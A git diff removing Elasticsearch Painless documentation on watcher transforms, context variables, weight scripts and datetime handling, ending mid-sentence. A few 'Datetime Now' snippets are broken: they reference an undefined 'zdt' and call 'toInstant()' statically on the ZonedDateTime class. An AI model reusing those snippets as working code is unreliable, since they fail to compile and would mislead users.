-      "search" : {
-        "request" : {
-          "indices" : [ "seats" ],
-          "body" : {
-            "query" : {
-              "term": { "sold": "true"}
-            },
-            "aggs" : {
-              "theatres" : {
-                "terms" : { "field" : "play" },
-                "aggs" : {
-                  "money" : {
-                    "sum": { "field" : "cost" }
-                  }
-                }
-              }
-            }
-          }
-        }
-      }
-    },
-    "condition" : {
-      "script" :
-      """
-        return ctx.payload.hits.total > ctx.metadata.min_hits
-      """
-    },
-    "transform" : {
-      "script" :
-      """
-        def theDate = ZonedDateTime.ofInstant(ctx.execution_time.toInstant(), ctx.execution_time.getZone());
-        return ['human_date': DateTimeFormatter.RFC_1123_DATE_TIME.format(theDate),
-                'aggregations': ctx.payload.aggregations]
-      """
-    },
-    "actions" : {
-      "my_log" : {
-        "logging" : {
-          "text" : "The watch was successfully executed on {{ctx.payload.human_date}} and contained {{ctx.payload.aggregations.theatres.buckets.size}} buckets"
-        }
-      }
-    }
-  }
-}
-----
-// TEST[skip: requires setup from other pages]
\ No newline at end of file
diff --git a/docs/painless/painless-contexts/painless-watcher-context-variables.asciidoc b/docs/painless/painless-contexts/painless-watcher-context-variables.asciidoc
deleted file mode 100644
index 71a00711091..00000000000
--- a/docs/painless/painless-contexts/painless-watcher-context-variables.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
-The following variables are available in all watcher contexts.
-
-*Variables*
-
-`params` (`Map`, read-only)::
-        User-defined parameters passed in as part of the query.
-
-`ctx['watch_id']` (`String`, read-only)::
-        The id of the watch.
-
-`ctx['id']` (`String`, read-only)::
-        The server generated unique identifer for the run watch.
-
-`ctx['metadata']` (`Map`, read-only)::
-        Metadata can be added to the top level of the watch definition. This
-        is user defined and is typically used to consolidate duplicate values
-        in a watch.
-
-`ctx['execution_time']` (`ZonedDateTime`, read-only)::
-        The time the watch began execution.
-
-`ctx['trigger']['scheduled_time']` (`ZonedDateTime`, read-only)::
-        The scheduled trigger time for the watch. This is the time the
-        watch should be executed.
-
-`ctx['trigger']['triggered_time']` (`ZonedDateTime`, read-only)::
-        The actual trigger time for the watch. This is the time the
-        watch was triggered for execution.
-
-`ctx['payload']` (`Map`, read-only)::
-        The accessible watch data based upon the
-        {ref}/input.html[watch input].
-
-*API*
-
-
-The standard <<painless-api-reference, Painless API>> is available.
-
-To run this example, first follow the steps in
-<<painless-context-examples, context examples>>.
diff --git a/docs/painless/painless-contexts/painless-watcher-transform-context.asciidoc b/docs/painless/painless-contexts/painless-watcher-transform-context.asciidoc
deleted file mode 100644
index 9d71a5f2335..00000000000
--- a/docs/painless/painless-contexts/painless-watcher-transform-context.asciidoc
+++ /dev/null
@@ -1,157 +0,0 @@
-[[painless-watcher-transform-context]]
-=== Watcher transform context
-
-Use a Painless script as a {ref}/transform-script.html[watch transform]
-to transform a payload into a new payload for further use in the watch.
-Transform scripts return an Object value of the new payload.
-
-include::painless-watcher-context-variables.asciidoc[]
-
-*Return*
-
-`Object`::
-        The new payload.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
-
-*Example*
-
-[source,console]
-----
-POST _watcher/watch/_execute
-{
-  "watch" : {
-    "trigger" : { "schedule" : { "interval" : "24h" } },
-    "input" : {
-      "search" : {
-        "request" : {
-          "indices" : [ "seats" ],
-          "body" : {
-            "query" : { "term": { "sold": "true"} },
-            "aggs" : {
-              "theatres" : {
-                "terms" : { "field" : "play" },
-                "aggs" : {
-                  "money" : {
-                    "sum": { "field" : "cost" }
-                  }
-                }
-              }
-            }
-          }
-        }
-      }
-    },
-    "transform" : {
-      "script":
-      """
-        return [
-          'money_makers': ctx.payload.aggregations.theatres.buckets.stream()  <1>
-            .filter(t -> {                                                    <2>
-                return t.money.value > 50000
-            })
-            .map(t -> {                                                       <3>
-                return ['play': t.key, 'total_value': t.money.value ]
-            }).collect(Collectors.toList()),                                  <4>
-          'duds' : ctx.payload.aggregations.theatres.buckets.stream()         <5>
-            .filter(t -> {
-                return t.money.value < 15000
-            })
-            .map(t -> {
-                return ['play': t.key, 'total_value': t.money.value ]
-            }).collect(Collectors.toList())
-          ]
-      """
-    },
-    "actions" : {
-      "my_log" : {
-        "logging" : {
-          "text" : "The output of the payload was transformed to {{ctx.payload}}"
-        }
-      }
-    }
-  }
-}
-----
-// TEST[skip: requires setup from other pages]
-
-<1> The Java Stream API is used in the transform. This API allows manipulation of
-the elements of the list in a pipeline.
-<2> The stream filter removes items that do not meet the filter criteria.
-<3> The stream map transforms each element into a new object.
-<4> The collector reduces the stream to a `java.util.List`.
-<5> This is done again for the second set of values in the transform.
-
-The following action transform changes each value in the mod_log action into a `String`.
-This transform does not change the values in the unmod_log action.
-
-[source,console]
-----
-POST _watcher/watch/_execute
-{
-  "watch" : {
-    "trigger" : { "schedule" : { "interval" : "24h" } },
-    "input" : {
-      "search" : {
-        "request" : {
-          "indices" : [ "seats" ],
-          "body" : {
-            "query" : {
-              "term": { "sold": "true"}
-            },
-            "aggs" : {
-              "theatres" : {
-                "terms" : { "field" : "play" },
-                "aggs" : {
-                  "money" : {
-                    "sum": { "field" : "cost" }
-                  }
-                }
-              }
-            }
-          }
-        }
-      }
-    },
-    "actions" : {
-      "mod_log" : {
-        "transform": {                                                                <1>
-          "script" :
-          """
-          def formatter = NumberFormat.getCurrencyInstance();
-          return [
-            'msg': ctx.payload.aggregations.theatres.buckets.stream()
-              .map(t-> formatter.format(t.money.value) + ' for the play ' + t.key)
-              .collect(Collectors.joining(", "))
-          ]
-          """
-        },
-        "logging" : {
-          "text" : "The output of the payload was transformed to: {{ctx.payload.msg}}"
-        }
-      },
-      "unmod_log" : {                                                                 <2>
-        "logging" : {
-          "text" : "The output of the payload was not transformed and this value should not exist: {{ctx.payload.msg}}"
-        }
-      }
-    }
-  }
-}
-----
-// TEST[skip: requires setup from other pages]
-
-This example uses the streaming API in a very similar manner. The differences below are
-subtle and worth calling out.
-
-<1> The location of the transform is no longer at the top level, but is within
-an individual action.
-<2> A second action that does not transform the payload is given for reference.
-
-The following example shows scripted watch and action transforms within the
-context of a complete watch. This watch also uses a scripted
-<<painless-watcher-condition-context, condition>>.
-
-include::painless-watcher-context-example.asciidoc[]
diff --git a/docs/painless/painless-contexts/painless-weight-context.asciidoc b/docs/painless/painless-contexts/painless-weight-context.asciidoc
deleted file mode 100644
index 9b4a47bc113..00000000000
--- a/docs/painless/painless-contexts/painless-weight-context.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
-[[painless-weight-context]]
-=== Weight context
-
-Use a Painless script to create a
-{ref}/index-modules-similarity.html[weight] for use in a
-<<painless-similarity-context, similarity script>>.  The weight makes up the
-part of the similarity calculation that is independent of the document being
-scored, and so can be built up front and cached.
-
-Queries that contain multiple terms calculate a separate weight for each term.
-
-*Variables*
-
-`query.boost` (`float`, read-only)::
-        The boost value if provided by the query.  If this is not provided the
-        value is `1.0f`.
-
-`field.docCount` (`long`, read-only)::
-        The number of documents that have a value for the current field.
-
-`field.sumDocFreq` (`long`, read-only)::
-        The sum of all terms that exist for the current field.  If this is not
-        available the value is `-1`.
-
-`field.sumTotalTermFreq` (`long`, read-only)::
-        The sum of occurrences in the index for all the terms that exist in the
-        current field.  If this is not available the value is `-1`.
-
-`term.docFreq` (`long`, read-only)::
-        The number of documents that contain the current term in the index.
-
-`term.totalTermFreq` (`long`, read-only)::
-        The total occurrences of the current term in the index.
-
-*Return*
-
-`double`::
-        A scoring factor used across all documents.
-
-*API*
-
-The standard <<painless-api-reference, Painless API>> is available.
diff --git a/docs/painless/painless-guide.asciidoc b/docs/painless/painless-guide.asciidoc
deleted file mode 100644
index 2d79445915c..00000000000
--- a/docs/painless/painless-guide.asciidoc
+++ /dev/null
@@ -1,29 +0,0 @@
-[[painless-guide]]
-== Painless Guide
-
-_Painless_ is a simple, secure scripting language designed specifically for use
-with Elasticsearch. It is the default scripting language for Elasticsearch and
-can safely be used for inline and stored scripts. For a jump start into
-Painless, see <<painless-walkthrough, A Brief Painless Walkthrough>>. For a
-detailed description of the Painless syntax and language features, see the
-<<painless-lang-spec, Painless Language Specification>>.
-
-You can use Painless anywhere scripts are used in Elasticsearch. Painless
-provides:
-
-* Fast performance: Painless scripts https://benchmarks.elastic.co/index.html#search_qps_scripts[
-run several times faster] than the alternatives.
-
-* Safety: Fine-grained allowlist with method call/field granularity. See the
-{painless}/painless-api-reference.html[Painless API Reference] for a
-complete list of available classes and methods.
-
-* Optional typing: Variables and parameters can use explicit types or the
-dynamic `def` type.
-
-* Syntax: Extends a subset of Java's syntax to provide additional scripting
-language features.
-
-* Optimizations: Designed specifically for Elasticsearch scripting.
-
-include::painless-guide/index.asciidoc[]
\ No newline at end of file
diff --git a/docs/painless/painless-guide/index.asciidoc b/docs/painless/painless-guide/index.asciidoc
deleted file mode 100644
index f7e5de693df..00000000000
--- a/docs/painless/painless-guide/index.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-include::painless-walkthrough.asciidoc[]
-
-include::painless-datetime.asciidoc[]
-
-include::painless-method-dispatch.asciidoc[]
-
-include::painless-debugging.asciidoc[]
-
-include::painless-execute-script.asciidoc[]
-
-include::../redirects.asciidoc[]
diff --git a/docs/painless/painless-guide/painless-datetime.asciidoc b/docs/painless/painless-guide/painless-datetime.asciidoc
deleted file mode 100644
index 8244ecb9cfd..00000000000
--- a/docs/painless/painless-guide/painless-datetime.asciidoc
+++ /dev/null
@@ -1,898 +0,0 @@
-[[painless-datetime]]
-=== Using Datetime in Painless
-
-==== Datetime API
-
-Datetimes in Painless use the standard Java libraries and are available through
-the Painless <<painless-api-reference-shared, Shared API>>. Most of the classes
-from the following Java packages are available to use in Painless scripts:
-
-* <<painless-api-reference-shared-java-time, java.time>>
-* <<painless-api-reference-shared-java-time-chrono, java.time.chrono>>
-* <<painless-api-reference-shared-java-time-format, java.time.format>>
-* <<painless-api-reference-shared-java-time-temporal, java.time.temporal>>
-* <<painless-api-reference-shared-java-time-zone, java.time.zone>>
-
-==== Datetime Representation
-
-Datetimes in Painless are most commonly represented as a numeric value, a
-string value, or a complex value.
-
-numeric:: a datetime representation as a number from a starting offset called
-an epoch; in Painless this is typically a <<primitive-types, long>> as
-milliseconds since an epoch of 1970-01-01 00:00:00 Zulu Time
-string:: a datetime representation as a sequence of characters defined by
-a standard format or a custom format; in Painless this is typically a
-<<string-type, String>> of the standard format
-{wikipedia}/ISO_8601[ISO 8601]
-complex:: a datetime representation as a complex type
-(<<reference-types, object>>) that abstracts away internal details of how the
-datetime is stored and often provides utilities for modification and
-comparison; in Painless this is typically a
-<<painless-api-reference-shared-ZonedDateTime, ZonedDateTime>>
-
-Switching between different representations of datetimes is often necessary to
-achieve a script's objective(s). A typical pattern in a script is to switch a
-numeric or string datetime to a complex datetime, modify or compare the complex
-datetime, and then switch it back to a numeric or string datetime for storage
-or to return a result.
-
-==== Datetime Parsing and Formatting
-
-Datetime parsing is a switch from a string datetime to a complex datetime, and
-datetime formatting is a switch from a complex datetime to a string datetime.
-
-A <<painless-api-reference-shared-DateTimeFormatter, DateTimeFormatter>> is a
-complex type (<<reference-types, object>>) that defines the allowed sequence
-of characters for a string datetime. Datetime parsing and formatting often
-require a DateTimeFormatter. For more information about how to use a
-DateTimeFormatter see the
-{java11-javadoc}/java.base/java/time/format/DateTimeFormatter.html[Java documentation].
-
-===== Datetime Parsing Examples
-
-* parse from milliseconds
-+
-[source,Painless]
-----
-String milliSinceEpochString = "434931330000";
-long milliSinceEpoch = Long.parseLong(milliSinceEpochString);
-Instant instant = Instant.ofEpochMilli(milliSinceEpoch);
-ZonedDateTime zdt = ZonedDateTime.ofInstant(instant, ZoneId.of('Z'));
-----
-+
-* parse from ISO 8601
-+
-[source,Painless]
-----
-String datetime = '1983-10-13T22:15:30Z';
-ZonedDateTime zdt = ZonedDateTime.parse(datetime); <1>
-----
-<1> Note the parse method uses ISO 8601 by default.
-+
-* parse from RFC 1123
-+
-[source,Painless]
-----
-String datetime = 'Thu, 13 Oct 1983 22:15:30 GMT';
-ZonedDateTime zdt = ZonedDateTime.parse(datetime,
-        DateTimeFormatter.RFC_1123_DATE_TIME); <1>
-----
-<1> Note the use of a built-in DateTimeFormatter.
-+
-* parse from a custom format
-+
-[source,Painless]
-----
-String datetime = 'custom y 1983 m 10 d 13 22:15:30 Z';
-DateTimeFormatter dtf = DateTimeFormatter.ofPattern(
-        "'custom' 'y' yyyy 'm' MM 'd' dd HH:mm:ss VV");
-ZonedDateTime zdt = ZonedDateTime.parse(datetime, dtf); <1>
-----
-<1> Note the use of a custom DateTimeFormatter.
-
-===== Datetime Formatting Examples
-
-* format to ISO 8601
-+
-[source,Painless]
-----
-ZonedDateTime zdt =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 0, ZoneId.of('Z'));
-String datetime = zdt.format(DateTimeFormatter.ISO_INSTANT); <1>
-----
-<1> Note the use of a built-in DateTimeFormatter.
-+
-* format to a custom format
-+
-[source,Painless]
-----
-ZonedDateTime zdt =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 0, ZoneId.of('Z'));
-DateTimeFormatter dtf = DateTimeFormatter.ofPattern(
-        "'date:' yyyy/MM/dd 'time:' HH:mm:ss");
-String datetime = zdt.format(dtf); <1>
-----
-<1> Note the use of a custom DateTimeFormatter.
-
-==== Datetime Conversion
-
-Datetime conversion is a switch from a numeric datetime to a complex datetime
-and vice versa.
-
-===== Datetime Conversion Examples
-
-* convert from milliseconds
-+
-[source,Painless]
-----
-long milliSinceEpoch = 434931330000L;
-Instant instant = Instant.ofEpochMilli(milliSinceEpoch);
-ZonedDateTime zdt = ZonedDateTime.ofInstant(instant, ZoneId.of('Z'));
-----
-+
-* convert to milliseconds
-+
-[source,Painless]
------
-ZonedDateTime zdt =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 0, ZoneId.of('Z'));
-long milliSinceEpoch = zdt.toInstant().toEpochMilli();
------
-
-==== Datetime Pieces
-
-Datetime representations often contain the data to extract individual datetime
-pieces such as year, hour, timezone, etc. Use individual pieces of a datetime
-to create a complex datetime, and use a complex datetime to extract individual
-pieces.
-
-===== Datetime Pieces Examples
-
-* create a complex datetime from pieces
-+
-[source,Painless]
-----
-int year = 1983;
-int month = 10;
-int day = 13;
-int hour = 22;
-int minutes = 15;
-int seconds = 30;
-int nanos = 0;
-ZonedDateTime zdt = ZonedDateTime.of(
-        year, month, day, hour, minutes, seconds, nanos, ZoneId.of('Z'));
-----
-+
-* extract pieces from a complex datetime
-+
-[source,Painless]
-----
-ZonedDateTime zdt =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 100, ZoneId.of(tz));
-int year = zdt.getYear();
-int month = zdt.getMonthValue();
-int day = zdt.getDayOfMonth();
-int hour = zdt.getHour();
-int minutes = zdt.getMinute();
-int seconds = zdt.getSecond();
-int nanos = zdt.getNano();
-----
-
-==== Datetime Modification
-
-Use either a numeric datetime or a complex datetime to do modification such as
-adding several seconds to a datetime or subtracting several days from a
-datetime. Use standard <<painless-operators-numeric, numeric operators>> to
-modify a numeric datetime. Use
-<<painless-api-reference-shared-ZonedDateTime, methods>> (or fields) to modify
-a complex datetime. Note many complex datetimes are immutable so upon
-modification a new complex datetime is created that requires
-<<variable-assignment, assignment>> or immediate use.
-
-===== Datetime Modification Examples
-
-* Subtract three seconds from a numeric datetime in milliseconds
-+
-[source,Painless]
-----
-long milliSinceEpoch = 434931330000L;
-milliSinceEpoch = milliSinceEpoch - 1000L*3L;
-----
-+
-* Add three days to a complex datetime
-+
-[source,Painless]
-----
-ZonedDateTime zdt =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 0, ZoneId.of('Z'));
-ZonedDateTime updatedZdt = zdt.plusDays(3);
-----
-+
-* Subtract 125 minutes from a complex datetime
-+
-[source,Painless]
-----
-ZonedDateTime zdt =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 0, ZoneId.of('Z'));
-ZonedDateTime updatedZdt = zdt.minusMinutes(125);
-----
-+
-* Set the year on a complex datetime
-+
-[source,Painless]
-----
-ZonedDateTime zdt =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 0, ZoneId.of('Z'));
-ZonedDateTime updatedZdt = zdt.withYear(1976);
-----
-
-==== Datetime Difference (Elapsed Time)
-
-Use either two numeric datetimes or two complex datetimes to calculate the
-difference (elapsed time) between two different datetimes. Use
-<<subtraction-operator, subtraction>> to calculate the difference between two
-numeric datetimes of the same time unit such as milliseconds. For
-complex datetimes there is often a method or another complex type
-(<<reference-types, object>>) available to calculate the difference. Use
-<<painless-api-reference-shared-ChronoUnit, ChronoUnit>>
-to calculate the difference between two complex datetimes if supported.
-
-===== Datetime Difference Examples
-
-* Difference in milliseconds between two numeric datetimes
-+
-[source,Painless]
-----
-long startTimestamp = 434931327000L;
-long endTimestamp = 434931330000L;
-long differenceInMillis = endTimestamp - startTimestamp;
-----
-+
-* Difference in milliseconds between two complex datetimes
-+
-[source,Painless]
-----
-ZonedDateTime zdt1 =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 11000000, ZoneId.of('Z'));
-ZonedDateTime zdt2 =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 35, 0, ZoneId.of('Z'));
-long differenceInMillis = ChronoUnit.MILLIS.between(zdt1, zdt2);
-----
-+
-* Difference in days between two complex datetimes
-+
-[source,Painless]
-----
-ZonedDateTime zdt1 =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 11000000, ZoneId.of('Z'));
-ZonedDateTime zdt2 =
-        ZonedDateTime.of(1983, 10, 17, 22, 15, 35, 0, ZoneId.of('Z'));
-long differenceInDays = ChronoUnit.DAYS.between(zdt1, zdt2);
-----
-
-==== Datetime Comparison
-
-Use either two numeric datetimes or two complex datetimes to do a datetime
-comparison. Use standard <<painless-operators-boolean, comparison operators>>
-to compare two numeric datetimes of the same time unit such as milliseconds.
-For complex datetimes there is often a method or another complex type
-(<<reference-types, object>>) available to do the comparison.
-
-===== Datetime Comparison Examples
-
-* Greater than comparison of two numeric datetimes in milliseconds
-+
-[source,Painless]
-----
-long timestamp1 = 434931327000L;
-long timestamp2 = 434931330000L;
-
-if (timestamp1 > timestamp2) {
-   // handle condition
-}
-----
-+
-* Equality comparison of two complex datetimes
-+
-[source,Painless]
-----
-ZonedDateTime zdt1 =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 0, ZoneId.of('Z'));
-ZonedDateTime zdt2 =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 0, ZoneId.of('Z'));
-
-if (zdt1.equals(zdt2)) {
-    // handle condition
-}
-----
-+
-* Less than comparison of two complex datetimes
-+
-[source,Painless]
-----
-ZonedDateTime zdt1 =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 0, ZoneId.of('Z'));
-ZonedDateTime zdt2 =
-        ZonedDateTime.of(1983, 10, 17, 22, 15, 35, 0, ZoneId.of('Z'));
-
-if (zdt1.isBefore(zdt2)) {
-    // handle condition
-}
-----
-+
-* Greater than comparison of two complex datetimes
-+
-[source,Painless]
-----
-ZonedDateTime zdt1 =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 0, ZoneId.of('Z'));
-ZonedDateTime zdt2 =
-        ZonedDateTime.of(1983, 10, 17, 22, 15, 35, 0, ZoneId.of('Z'));
-
-if (zdt1.isAfter(zdt2)) {
-    // handle condition
-}
-----
-
-==== Datetime Zone
-
-Both string datetimes and complex datetimes have a timezone with a default of
-`UTC`. Numeric datetimes do not have enough explicit information to
-have a timezone, so `UTC` is always assumed. Use
-<<painless-api-reference-shared-ZonedDateTime, methods>> (or fields) in
-conjunction with a <<painless-api-reference-shared-ZoneId, ZoneId>> to change
-the timezone for a complex datetime. Parse a string datetime into a complex
-datetime to change the timezone, and then format the complex datetime back into
-a desired string datetime. Note many complex datetimes are immutable so upon
-modification a new complex datetime is created that requires
-<<variable-assignment, assignment>> or immediate use.
-
-===== Datetime Zone Examples
-
-* Modify the timezone for a complex datetime
-+
-[source,Painless]
-----
-ZonedDateTime utc =
-        ZonedDateTime.of(1983, 10, 13, 22, 15, 30, 0, ZoneId.of('Z'));
-ZonedDateTime pst = utc.withZoneSameInstant(ZoneId.of('America/Los_Angeles'));
-----
-+
-* Modify the timezone for a string datetime
-+
-[source,Painless]
-----
-String gmtString = 'Thu, 13 Oct 1983 22:15:30 GMT';
-ZonedDateTime gmtZdt = ZonedDateTime.parse(gmtString,
-        DateTimeFormatter.RFC_1123_DATE_TIME); <1>
-ZonedDateTime pstZdt =
-        gmtZdt.withZoneSameInstant(ZoneId.of('America/Los_Angeles'));
-String pstString = pstZdt.format(DateTimeFormatter.RFC_1123_DATE_TIME);
-----
-<1> Note the use of a built-in DateTimeFormatter.
-
-==== Datetime Input
-
-There are several common ways datetimes are used as input for a script
-determined by the <<painless-contexts, Painless context>>. Typically, datetime
-input will be accessed from parameters specified by the user, from an original
-source document, or from an indexed document.
-
-===== Datetime Input From User Parameters
-
-Use the {ref}/modules-scripting-using.html#_script_parameters[params section]
-during script specification to pass in a numeric datetime or string datetime as
-a script input. Access to user-defined parameters within a script is dependent
-on the Painless context, though, the parameters are most commonly accessible
-through an input called `params`.
-
-*Examples*
-
-* Parse a numeric datetime from user parameters to a complex datetime
-+
-** Input:
-+
-[source,JSON]
-----
-...
-"script": {
-    ...
-    "params": {
-        "input_datetime": 434931327000
-    }
-}
-...
-----
-+
-** Script:
-+
-[source,Painless]
-----
-long inputDateTime = params['input_datetime'];
-Instant instant = Instant.ofEpochMilli(inputDateTime);
-ZonedDateTime zdt = ZonedDateTime.ofInstant(instant, ZoneId.of('Z'));
-----
-+
-* Parse a string datetime from user parameters to a complex datetime
-+
-** Input:
-+
-[source,JSON]
-----
-...
-"script": {
-    ...
-    "params": {
-        "input_datetime": "custom y 1983 m 10 d 13 22:15:30 Z"
-    }
-}
-...
-----
-+
-** Script:
-+
-[source,Painless]
-----
-String datetime = params['input_datetime'];
-DateTimeFormatter dtf = DateTimeFormatter.ofPattern(
-        "'custom' 'y' yyyy 'm' MM 'd' dd HH:mm:ss VV");
-ZonedDateTime zdt = ZonedDateTime.parse(datetime, dtf); <1>
-----
-<1> Note the use of a custom DateTimeFormatter.
-
-===== Datetime Input From a Source Document
-
-Use an original {ref}/mapping-source-field.html[source] document as a script
-input to access a numeric datetime or string datetime for a specific field
-within that document. Access to an original source document within a script is
-dependent on the Painless context and is not always available. An original
-source document is most commonly accessible through an input called
-`ctx['_source']` or `params['_source']`.
-
-*Examples*
-
-* Parse a numeric datetime from a sourced document to a complex datetime
-+
-** Input:
-+
-[source,JSON]
-----
-{
-  ...
-  "input_datetime": 434931327000
-  ...
-}
-----
-+
-** Script:
-+
-[source,Painless]
-----
-long inputDateTime = ctx['_source']['input_datetime']; <1>
-Instant instant = Instant.ofEpochMilli(inputDateTime);
-ZonedDateTime zdt = ZonedDateTime.ofInstant(instant, ZoneId.of('Z'));
-----
-<1> Note access to `_source` is dependent on the Painless context.
-+
-* Parse a string datetime from a sourced document to a complex datetime
-+
-** Input:
-+
-[source,JSON]
-----
-{
-  ...
-  "input_datetime": "1983-10-13T22:15:30Z"
-  ...
-}
-----
-+
-** Script:
-+
-[source,Painless]
-----
-String datetime = params['_source']['input_datetime']; <1>
-ZonedDateTime zdt = ZonedDateTime.parse(datetime); <2>
-----
-<1> Note access to `_source` is dependent on the Painless context.
-<2> Note the parse method uses ISO 8601 by default.
-
-===== Datetime Input From an Indexed Document
-
-Use an indexed document as a script input to access a complex datetime for a
-specific field within that document where the field is mapped as a
-{ref}/date.html[standard date] or a {ref}/date_nanos.html[nanosecond date].
-Numeric datetime fields mapped as {ref}/number.html[numeric] and string
-datetime fields mapped as {ref}/keyword.html[keyword] are accessible through an
-indexed document as well. Access to an indexed document within a script is
-dependent on the Painless context and is not always available. An indexed
-document is most commonly accessible through an input called `doc`.
-
-*Examples*
-
-* Format a complex datetime from an indexed document to a string datetime
-+
-** Assumptions:
-+
-*** The field `input_datetime` exists in all indexes as part of the query
-*** All indexed documents contain the field `input_datetime`
-+
-** Mappings:
-+
-[source,JSON]
-----
-{
-  "mappings": {
-    ...
-    "properties": {
-      ...
-      "input_datetime": {
-        "type": "date"
-      }
-      ...
-    }
-    ...
-  }
-}
-----
-+
-** Script:
-+
-[source,Painless]
-----
-ZonedDateTime input = doc['input_datetime'].value;
-String output = input.format(DateTimeFormatter.ISO_INSTANT); <1>
-----
-<1> Note the use of a built-in DateTimeFormatter.
-+
-* Find the difference between two complex datetimes from an indexed document
-+
-** Assumptions:
-+
-*** The fields `start` and `end` may *not* exist in all indexes as part of the
-query
-*** The fields `start` and `end` may *not* have values in all indexed documents
-+
-** Mappings:
-+
-[source,JSON]
-----
-{
-  "mappings": {
-    ...
-    "properties": {
-      ...
-      "start": {
-        "type": "date"
-      },
-      "end": {
-        "type": "date"
-      }
-      ...
-    }
-    ...
-  }
-}
-----
-+
-** Script:
-+
-[source,Painless]
-----
-if (doc.containsKey('start') && doc.containsKey('end')) { <1>
-
-    if (doc['start'].size() > 0 && doc['end'].size() > 0) { <2>
-
-        ZonedDateTime start = doc['start'].value;
-        ZonedDateTime end = doc['end'].value;
-        long differenceInMillis = ChronoUnit.MILLIS.between(start, end);
-
-        // handle difference in times
-    } else {
-        // handle fields without values
-    }
-} else {
-    // handle index with missing fields
-}
-----
-<1> When a query's results span multiple indexes, some indexes may not
-contain a specific field. Use the `containsKey` method call on the `doc` input
-to ensure a field exists as part of the index for the current document.
-<2> Some fields within a document may have no values. Use the `size` method
-call on a field within the `doc` input to ensure that field has at least one
-value for the current document.
-
-==== Datetime Now
-
-Under most Painless contexts the current datetime, `now`, is not supported.
-There are two primary reasons for this. The first is that scripts are often run once
-per document, so each time the script is run a different `now` is returned. The
-second is that scripts are often run in a distributed fashion without a way to
-appropriately synchronize `now`. Instead, pass in a user-defined parameter with
-either a string datetime or numeric datetime for `now`. A numeric datetime is
-preferred as there is no need to parse it for comparison.
-
-===== Datetime Now Examples
-
-* Use a numeric datetime as `now`
-+
-** Assumptions:
-+
-*** The field `input_datetime` exists in all indexes as part of the query
-*** All indexed documents contain the field `input_datetime`
-+
-** Mappings:
-+
-[source,JSON]
-----
-{
-  "mappings": {
-      ...
-      "properties": {
-        ...
-        "input_datetime": {
-        "type": "date"
-      }
-      ...
-    }
-    ...
-  }
-}
-----
-+
-** Input:
-+
-[source,JSON]
-----
-...
-"script": {
-    ...
-    "params": {
-        "now": <generated numeric datetime in milliseconds since epoch>
-    }
-}
-...
-----
-+
-** Script:
-+
-[source,Painless]
-----
-long now = params['now'];
-ZonedDateTime inputDateTime = doc['input_datetime'];
-long millisDateTime = zdt.toInstant().toEpochMilli();
-long elapsedTime = now - millisDateTime;
-----
-+
-* Use a string datetime as `now`
-+
-** Assumptions:
-+
-*** The field `input_datetime` exists in all indexes as part of the query
-*** All indexed documents contain the field `input_datetime`
-+
-** Mappings:
-+
-[source,JSON]
-----
-{
-  "mappings": {
-    ...
-    "properties": {
-      ...
-      "input_datetime": {
-        "type": "date"
-      }
-      ...
-    }
-    ...
-  }
-}
-----
-+
-** Input:
-+
-[source,JSON]
-----
-...
-"script": {
-    ...
-    "params": {
-        "now": "<generated string datetime in ISO-8601>"
-    }
-}
-...
-----
-+
-** Script:
-+
-[source,Painless]
-----
-String nowString = params['now'];
-ZonedDateTime nowZdt = ZonedDateTime.parse(nowString); <1>
-long now = ZonedDateTime.toInstant().toEpochMilli();
-ZonedDateTime inputDateTime = doc['input_datetime'];
-long millisDateTime = zdt.toInstant().toEpochMilli();
-long elapsedTime = now - millisDateTime;
-----
-<1> Note this parses the same string datetime every time the script runs. Use a
-numeric datetime to avoid a significant performance hit.
-
-==== Datetime Examples in Contexts
-
-===== Load the Example Data
-
-Run the following curl commands to load the data necessary for the context
-examples into an Elasticsearch cluster:
-
-. Create {ref}/mapping.html[mappings] for the sample data.
-+
-[source,console]
-----
-PUT /messages
-{
-  "mappings": {
-    "properties": {
-      "priority": {
-        "type": "integer"
-      },
-      "datetime": {
-        "type": "date"
-      },
-      "message": {
-        "type": "text"
-      }
-    }
-  }
-}
-----
-+
-. Load the sample data.
-+
-[source,console]
-----
-POST /_bulk
-{ "index" : { "_index" : "messages", "_id" : "1" } }
-{ "priority": 1, "datetime": "2019-07-17T12:13:14Z", "message": "m1" }
-{ "index" : { "_index" : "messages", "_id" : "2" } }
-{ "priority": 1, "datetime": "2019-07-24T01:14:59Z", "message": "m2" }
-{ "index" : { "_index" : "messages", "_id" : "3" } }
-{ "priority": 2, "datetime": "1983-10-14T00:36:42Z", "message": "m3" }
-{ "index" : { "_index" : "messages", "_id" : "4" } }
-{ "priority": 3, "datetime": "1983-10-10T02:15:15Z", "message": "m4" }
-{ "index" : { "_index" : "messages", "_id" : "5" } }
-{ "priority": 3, "datetime": "1983-10-10T17:18:19Z", "message": "m5" }
-{ "index" : { "_index" : "messages", "_id" : "6" } }
-{ "priority": 1, "datetime": "2019-08-03T17:19:31Z", "message": "m6" }
-{ "index" : { "_index" : "messages", "_id" : "7" } }
-{ "priority": 3, "datetime": "2019-08-04T17:20:00Z", "message": "m7" }
-{ "index" : { "_index" : "messages", "_id" : "8" } }
-{ "priority": 2, "datetime": "2019-08-04T18:01:01Z", "message": "m8" }
-{ "index" : { "_index" : "messages", "_id" : "9" } }
-{ "priority": 3, "datetime": "1983-10-10T19:00:45Z", "message": "m9" }
-{ "index" : { "_index" : "messages", "_id" : "10" } }
-{ "priority": 2, "datetime": "2019-07-23T23:39:54Z", "message": "m10" }
-----
-// TEST[continued]
-
-===== Day-of-the-Week Bucket Aggregation Example
-
-The following example uses a
